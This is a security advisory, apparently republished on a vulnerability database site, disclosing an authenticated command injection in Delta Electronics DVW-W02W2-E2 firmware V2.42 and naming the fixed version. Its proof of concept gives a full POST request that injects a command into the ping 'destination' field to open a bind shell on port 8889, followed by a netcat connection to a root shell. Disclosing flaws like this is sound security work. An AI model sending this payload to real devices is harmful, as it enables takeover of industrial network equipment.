Lucene search
K

Delta Electronics DVW-W02W2-E2 2.42 Command Injection Vulnerability

🗓️ 10 Dec 2022 00:00:00Reported by Tim WeberType 
zdt
 zdt
🔗 0day.today👁 263 Views

Delta Electronics DVW-W02W2-E2 2.42 Command Injection Vulnerability on web serve

Code
-------------------------------------------------------------------------------
                title| Authenticated Command Injection
              product| Delta Electronics DVW-W02W2-E2
   vulnerable version| V2.42
        fixed version| V2.5.2
           CVE number| -
               impact| High
             homepage| https://www.deltaww.com
                found| 2022-08-01
                   by| T. Weber (Office Vienna)
                     | CyberDanube Security Research
                     | Vienna | St. Pölten
                     |
                     | https://www.cyberdanube.com
-------------------------------------------------------------------------------

Vendor description
-------------------------------------------------------------------------------
"Delta, founded in 1971, is a global provider of power and thermal 
management
solutions. Its mission statement, "To provide innovative, clean and energy
-efficient solutions for a better tomorrow," focuses on addressing key
environmental issues such as global climate change. As an energy-saving
solutions provider with core competencies in power electronics and 
automation,
Delta's business categories include Power Electronics, Automation, and
Infrastructure."

Source: https://www.deltaww.com/en-US/about/aboutProfile


Vulnerable versions
-------------------------------------------------------------------------------
DVW-W02W2-E2 / V2.42


Vulnerability overview
-------------------------------------------------------------------------------
1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection.
It allows an attacker to gain full access to the underlying operating 
system of
the device with all implications. If such a device is acting as key 
device in
an industrial network, or controls various critical equipment via serial 
ports,
more extensive damage in the corresponding network can be done by an 
attacker.


Proof of Concept
-------------------------------------------------------------------------------
1) Authenticated Command Injection
The web server is prone to an authenticated command injection via POST
parameters. This is only possible if the "timestamp" parameter is set 
correctly
in the URL. The following proof-of-concept shows how to open a port binding
shell on port 8889 with a "utelnetd" listener:
===============================================================================
POST /apply.cgi?/MT_ping.htm%20timestamp=$correct-timestamp$ HTTP/1.1
Host: 192.168.3.148
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: http://192.168.3.148
Connection: close
Referer: http://192.168.3.148/MT_ping.htm
Cookie: xxid=1973719449
Upgrade-Insecure-Requests: 1

submit_flag=mt_ping&hid_ver1=&hid_ser1=&hid_comm1=&hid_ver2=&hid_ser2=&hid_comm2=&destination=`utelnetd%20-p%208889%20-l%20/bin/ash%20-d`
===============================================================================

For accessing the device, the command "netcat" can be used:
===============================================================================
$ nc 192.168.3.150 8889
����!����

BusyBox v1.4.2 (2016-08-18 22:45:41 EDT) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ #
===============================================================================

The vulnerability was manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution
-------------------------------------------------------------------------------
Update to firmware version V2.5.2.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation